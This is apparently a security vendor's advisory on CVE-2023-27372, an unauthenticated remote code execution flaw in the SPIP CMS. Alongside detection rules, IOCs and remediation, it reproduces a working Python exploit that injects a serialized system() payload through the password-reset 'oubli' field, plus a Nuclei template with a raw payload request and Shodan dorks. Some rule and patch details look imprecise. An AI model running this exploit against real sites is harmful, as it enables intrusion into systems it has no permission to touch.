CVE-2023-27372

Executive Summary

CVE-2023-27372 is a critical unauthenticated Remote Code Execution (RCE) vulnerability in the SPIP content management system. The flaw resides in the mishandling of serialized data within form values processed in the public area. An attacker can inject a malicious serialized PHP object into the oubli parameter of the password reset form (spip_pass), leading to arbitrary code execution. The vulnerability affects all SPIP versions prior to 4.2.1, including branches 3.2, 4.0, and 4.1. Public proof-of-concept (PoC) code and a Nuclei template are widely available, making this a high-priority threat for any organization using an unpatched SPIP instance.

Supply Chain & Package Security

SPIP is a PHP-based CMS distributed as a source archive. The vulnerability is not a supply chain compromise of a package manager (e.g., PyPI, NPM) but rather a direct code flaw in the core application. Organizations should verify the integrity of their SPIP installation and ensure they are using an official, patched release.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)
• EPSS Score: 0.9312 (93.12% probability of exploitation in the wild)
• EPSS Percentile: 99.797 (very high threat level)

Deep Dive & Mechanics

The vulnerability is a classic PHP object injection (CWE-502) in the password reset functionality. The spip_pass page accepts a oubli POST parameter, which is intended to hold an email address. However, the application deserializes this value using PHP's unserialize() without proper sanitization. An attacker can craft a serialized PHP object that, when deserialized, executes arbitrary PHP code.

The core issue is that the oubli parameter is passed directly to unserialize(). By providing a serialized string like s:19:"<?php phpinfo(); ?>";, the attacker can inject PHP code that gets executed in the context of the web server. The PoC uses a serialized string that contains a system() call to execute arbitrary commands.

Vulnerable vs. Patched Code

Vulnerable Code (SPIP < 4.2.1): The vulnerable code path is in the inc/oubli.php or similar file handling the password reset. The oubli parameter is passed to unserialize() without validation.

// Vulnerable: direct unserialize of user input
$oubli = _request('oubli');
$data = unserialize($oubli);

Patched Code (SPIP >= 4.2.1): The patched version validates the input before deserialization, ensuring it is a valid email address and not a serialized object.

// Patched: validate input before unserialize
$oubli = _request('oubli');
if (filter_var($oubli, FILTER_VALIDATE_EMAIL)) {
    $data = unserialize($oubli);
} else {
    // Handle invalid input
}

Exploitation & Lab Setup

Red Team

The following Python exploit (from Exploit-DB) demonstrates unauthenticated RCE. It first retrieves an anti-CSRF token, then sends a malicious serialized payload.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

# Exploit Title: SPIP v4.2.1 - Remote Code Execution (Unauthenticated)
# Google Dork: inurl:"/spip.php?page=login"
# Date: 19/06/2023
# Exploit Author: nuts7 (https://github.com/nuts7/CVE-2023-27372)
# Vendor Homepage: https://www.spip.net/
# Software Link: https://files.spip.net/spip/archives/
# Version: < 4.2.1 (Except few fixed versions indicated in the description)
# Tested on: Ubuntu 20.04.3 LTS, SPIP 4.0.0
# CVE reference : CVE-2023-27372 (coiffeur)
# CVSS : 9.8 (Critical)
#
# Vulnerability Description:
#
# SPIP before 4.2.1 allows Remote Code Execution via form values in the public area because serialization is mishandled. Branches 3.2, 4.0, 4.1 and 4.2 are concerned. The fixed versions are 3.2.18, 4.0.10, 4.1.8, and 4.2.1.
# This PoC exploits a PHP code injection in SPIP. The vulnerability exists in the `oubli` parameter and allows an unauthenticated user to execute arbitrary commands with web user privileges.
#
# Usage: python3 CVE-2023-27372.py http://example.com

import argparse
import bs4
import html
import requests

def parseArgs():
    parser = argparse.ArgumentParser(description="Poc of CVE-2023-27372 SPIP < 4.2.1 - Remote Code Execution by nuts7")
    parser.add_argument("-u", "--url", default=None, required=True, help="SPIP application base URL")
    parser.add_argument("-c", "--command", default=None, required=True, help="Command to execute")
    parser.add_argument("-v", "--verbose", default=False, action="store_true", help="Verbose mode. (default: False)")
    return parser.parse_args()

def get_anticsrf(url):
    r = requests.get('%s/spip.php?page=spip_pass' % url, timeout=10)
    soup = bs4.BeautifulSoup(r.text, 'html.parser')
    csrf_input = soup.find('input', {'name': 'formulaire_action_args'})
    if csrf_input:
        csrf_value = csrf_input['value']
        if options.verbose:
            print("[+] Anti-CSRF token found : %s" % csrf_value)
        return csrf_value
    else:
        print("[-] Unable to find Anti-CSRF token")
        return -1

def send_payload(url, payload):
    data = {
        "page": "spip_pass",
        "formulaire_action": "oubli",
        "formulaire_action_args": csrf,
        "oubli": payload
    }
    r = requests.post('%s/spip.php?page=spip_pass' % url, data=data)
    if options.verbose:
        print("[+] Execute this payload : %s" % payload)
    return 0

if __name__ == '__main__':
    options = parseArgs()

    requests.packages.urllib3.disable_warnings()
    requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
    try:
        requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
    except AttributeError:
        pass

    csrf = get_anticsrf(url=options.url)
    send_payload(url=options.url, payload="s:%s:\"<?php system('%s'); ?>\";" % (20 + len(options.command), options.command))

Usage:

python3 CVE-2023-27372.py -u http://target-spip-site.com -c "id"

Blue Team

To detect exploitation attempts, monitor for the following:

• HTTP Requests: POST requests to /spip.php?page=spip_pass with a oubli parameter containing serialized PHP objects (e.g., s:...:"<?php ... ?>";).
• Log Analysis: Look for PHP error logs indicating unserialize() errors or unexpected output.
• File Integrity: Monitor for new or modified PHP files in the web root.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /spip.php?page=spip_pass with oubli parameter containing s: (serialized string indicator).
  • Outbound connections from the web server to external IPs (e.g., for reverse shells).
• File IOCs:
  • Unexpected PHP files in /tmp/ or the web root (e.g., shell.php).
  • Modified .htaccess files.
• System IOCs:
  • Unusual processes running as the web server user (e.g., www-data).
  • Unexpected cron jobs or systemd timers.

Detection Engineering

YARA Rule

rule CVE_2023_27372_SPIP_RCE {
    meta:
        description = "Detects SPIP RCE exploit payloads in HTTP requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-27372"
    strings:
        $payload1 = /oubli=s:\d+:"<\?php/ nocase
        $payload2 = /formulaire_action=oubli/ nocase
        $payload3 = /spip_pass/ nocase
    condition:
        all of them
}

Sigma Rule

title: SPIP RCE via Serialized Payload (CVE-2023-27372)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2023-27372 in SPIP
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'page=spip_pass'
        cs-uri-query|contains: 'formulaire_action=oubli'
        cs-uri-query|contains|re: 'oubli=s:\d+:'
    condition: selection
falsepositives:
    - Legitimate password reset requests (unlikely to contain serialized payloads)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-27372 SPIP RCE Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/spip.php?page=spip_pass"; http_uri;
    content:"formulaire_action=oubli"; http_client_body;
    pcre:"/oubli=s:\d+:\"/";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Nuclei Template

id: CVE-2023-27372

info:
  name: SPIP - Remote Command Execution
  author: DhiyaneshDK,nuts7
  severity: critical
  description: |
    SPIP before 4.2.1 allows Remote Code Execution via form values in the public area because serialization is mishandled. The fixed versions are 3.2.18, 4.0.10, 4.1.8, and 4.2.1.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the target system.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of SPIP.
  reference:
    - https://packetstormsecurity.com/files/171921/SPIP-Remote-Command-Execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27372
    - https://github.com/nuts7/CVE-2023-27372
    - http://packetstormsecurity.com/files/171921/SPIP-Remote-Command-Execution.html
    - http://packetstormsecurity.com/files/173044/SPIP-4.2.1-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-27372
    epss-score: 0.9312
    epss-percentile: 0.99797
    cpe: cpe:2.3:a:spip:spip:*:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 2
    vendor: spip
    product: spip
    shodan-query:
      - html:"spip.php?page=backend"
      - http.html:"spip.php?page=backend"
      - cpe:"cpe:2.3:a:spip:spip"
    fofa-query: body="spip.php?page=backend"
  tags: cve,cve2023,packetstorm,spip,rce,vkev,vuln

http:
  - raw:
      - |
        GET /spip.php?page=spip_pass HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /spip.php?page=spip_pass HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        page=spip_pass&formulaire_action=oubli&formulaire_action_args={{csrf}}&oubli=s:19:"<?php phpinfo(); ?>";

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "PHP Extension"
          - "PHP Version"
          - "<!DOCTYPE html"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - "name='formulaire_action_args'[^>]*value='([^']*)'"
        internal: true
        part: body_1

      - type: regex
        group: 1
        regex:
          - '>PHP Version <\/td><td class="v">([0-9.]+)'
        part: body_2
# digest: 4b0a00483046022100eb4c67f4d3cad9b01c41b7fd32e14be06cc1bb940129af77a460c5cd70bd59c7022100b5085e57325526b00aeb218cd8e96f031ac8da80020f52bc34e46ccad4701e64:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

1. Immediate Patching: Upgrade SPIP to version 4.2.1, 3.2.18, 4.0.10, or 4.1.8 as applicable.
2. Virtual Patching: If immediate upgrade is not possible, deploy a WAF rule to block requests containing oubli=s: in the POST body.
3. Input Validation: Ensure all user-supplied input is validated and sanitized before being passed to unserialize().
4. Disable Unused Features: If the password reset functionality is not required, disable the spip_pass page.
5. Monitor Logs: Actively monitor web server logs for exploitation attempts using the Sigma rule provided.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: D3F56CB62DE0A32E267EBFF0] */}